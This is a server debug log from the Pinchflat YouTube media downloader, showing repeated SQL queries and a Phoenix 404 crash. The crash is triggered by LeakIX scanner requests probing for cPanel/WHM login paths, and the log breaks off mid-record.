[] 21:37:34.486 [debug] QUERY OK source="media_items" db=0.7ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:34.487 [debug] QUERY OK source="media_items" db=0.3ms idle=2.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:37:34.487 [debug] QUERY OK source="sources" db=0.3ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 21:37:34.487 [debug] QUERY OK source="tasks" db=0.4ms idle=2.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:37:34.488 [debug] QUERY OK source="media_items" db=0.3ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:34.489 [debug] QUERY OK source="media_items" db=0.9ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:37:34.490 [debug] QUERY OK source="media_items" db=1.1ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:37:34.490 [debug] QUERY OK source="sources" db=0.6ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 21:37:34.492 [debug] QUERY OK source="media_items" db=2.4ms idle=2.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:37:34.493 [debug] QUERY OK source="sources" db=0.5ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:37:34.494 [debug] QUERY OK source="media_items" db=1.2ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:37:34.494 [info] Sent 200 in 21ms 21:37:34.495 [debug] QUERY OK source="media_items" db=0.9ms idle=4.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:37:34.495 [debug] QUERY OK source="sources" db=0.1ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:37:34.497 [info] Sent 200 in 19ms 21:37:34.612 [info] GET / 21:37:34.613 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:37:34.614 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=119.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:34.615 [debug] QUERY OK source="media_profiles" db=0.4ms idle=120.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:37:34.615 [debug] QUERY OK source="sources" db=0.1ms idle=119.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:37:34.617 [debug] QUERY OK source="media_items" db=1.6ms idle=119.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:34.618 [debug] QUERY OK source="media_items" db=0.4ms idle=68.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:34.618 [debug] QUERY OK source="settings" db=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:34.618 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:34.619 [debug] QUERY OK source="settings" db=0.0ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:34.620 [debug] QUERY OK source="tasks" db=0.2ms idle=2.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:37:34.621 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:34.621 [debug] QUERY OK source="media_items" db=0.4ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:37:34.622 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 21:37:34.624 [debug] QUERY OK source="media_items" db=0.8ms idle=4.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:37:34.626 [debug] QUERY OK source="media_items" db=0.9ms idle=4.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:37:34.626 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:37:34.627 [info] Sent 200 in 14ms 21:37:35.204 [info] GET /___proxy_subdomain_whm/login 21:37:35.206 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=583.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:35.207 [debug] QUERY OK source="settings" db=0.4ms idle=584.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:35.207 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:35.208 [error] #PID<0.36610.0> running PinchflatWeb.Endpoint (connection #PID<0.36607.0>, stream id 3) terminated Server: youtube.plexultra.com:80 (http) Request: GET /___proxy_subdomain_whm/login ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_whm/login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_whm/login", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36610.0>, params: %{}, path_info: ["___proxy_subdomain_whm", "login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/___proxy_subdomain_whm/login", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMkist2_43xlMAAVmj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_whm/login", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_whm/login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_whm/login", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36610.0>, params: %{}, path_info: ["___proxy_subdomain_whm", "login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "19 (truncated) 21:37:35.892 [info] GET /___proxy_subdomain_cpanel 21:37:35.894 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=1267.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:35.896 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=1268.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:35.896 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:35.897 [error] #PID<0.36611.0> running PinchflatWeb.Endpoint (connection #PID<0.36607.0>, stream id 4) terminated Server: youtube.plexultra.com:80 (http) Request: GET /___proxy_subdomain_cpanel ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_cpanel (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_cpanel", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: 